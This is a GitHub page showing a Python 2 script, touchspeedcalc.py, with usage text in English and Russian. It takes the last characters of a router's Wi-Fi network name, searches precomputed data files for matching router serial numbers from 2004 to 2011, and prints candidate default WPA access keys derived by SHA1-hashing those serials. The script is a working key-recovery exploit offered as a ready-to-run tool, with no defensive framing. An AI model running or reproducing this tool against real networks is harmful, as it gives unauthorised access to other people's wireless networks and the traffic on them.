-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtouchspeedcalc.py
More file actions
executable file
·63 lines (55 loc) · 2.08 KB
/
touchspeedcalc.py
File metadata and controls
executable file
·63 lines (55 loc) · 2.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python
# -*- coding: utf-8 -*-
import hashlib
import sys
import binascii
import re
if len(sys.argv) < 2:
print str(len(sys.argv))
print "Usage: "
print "python touchspeedcalc.py [SSID]"
print "Where [SSID] are the last 6 characters of the SSID."
print "Использовать:"
print "python touchspeedcalc.py [SSID]"
print "Где [SSID] это последнии 6 символов названия Wifi точки.(SSID)"
sys.exit()
SSIDEND = sys.argv[1].upper()
if len(SSIDEND) == 6:
FINDPOS = 0
elif len(SSIDEND) == 4:
FINDPOS = 1
else:
print "SSID-end must be either 6 or 4 characters."
print "SSID-заканчиваться должен на 6 или 4 чисвола."
sys.exit()
YEARS = [ 2011, 2010, 2009, 2008, 2007, 2006, 2005, 2004 ]
def ascii2hex(char):
return hex(ord(char))[2:].upper()
CHARSET = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
BINCODE = binascii.unhexlify("".join(SSIDEND.split()))
for YEAR in YEARS:
print str(YEAR)
print "<br>"
FILE = "touchspeed" + str(YEAR) + ".dat"
INFILE = open(FILE,"rb")
FILEDATA = INFILE.read()
INFILE.close()
WHEREFOUND = FILEDATA.find(BINCODE, 0)
while (WHEREFOUND > -1):
if WHEREFOUND % 3 == FINDPOS:
PRODIDNUM = (WHEREFOUND / 3) % (36*36*36)
PRODWEEK = (WHEREFOUND / 3) / (36*36*36) +1
PRODID1 = PRODIDNUM / (36*36)
PRODID2 = (PRODIDNUM / 36) % 36
PRODID3 = PRODIDNUM % 36
SERIAL = 'CP%02d%02d%s%s%s' % (YEAR-2000,PRODWEEK,ascii2hex(CHARSET[PRODID1:PRODID1+1]),ascii2hex(CHARSET[PRODID2:PRODID2+1]),ascii2hex(CHARSET[PRODID3:PRODID3+1]))
SHA1SUM = hashlib.sha1(SERIAL).digest().encode("hex").upper()
SSID = SHA1SUM[-6:]
ACCESSKEY = SHA1SUM[0:10]
if len(SSIDEND) == 4:
ACCESSKEY = ACCESSKEY.lower()
print "YEAR:", str(YEAR), "WEEK:", str(PRODWEEK), "PRODIDNUM:", str(PRODIDNUM)
print "ACCESSKEY:", str(ACCESSKEY)
print "Год:", str(YEAR), "Неделя:", str(PRODWEEK), "Партия:", str(PRODIDNUM)
print "Ключ доступа:", str(ACCESSKEY)
WHEREFOUND = FILEDATA.find(BINCODE, WHEREFOUND+1)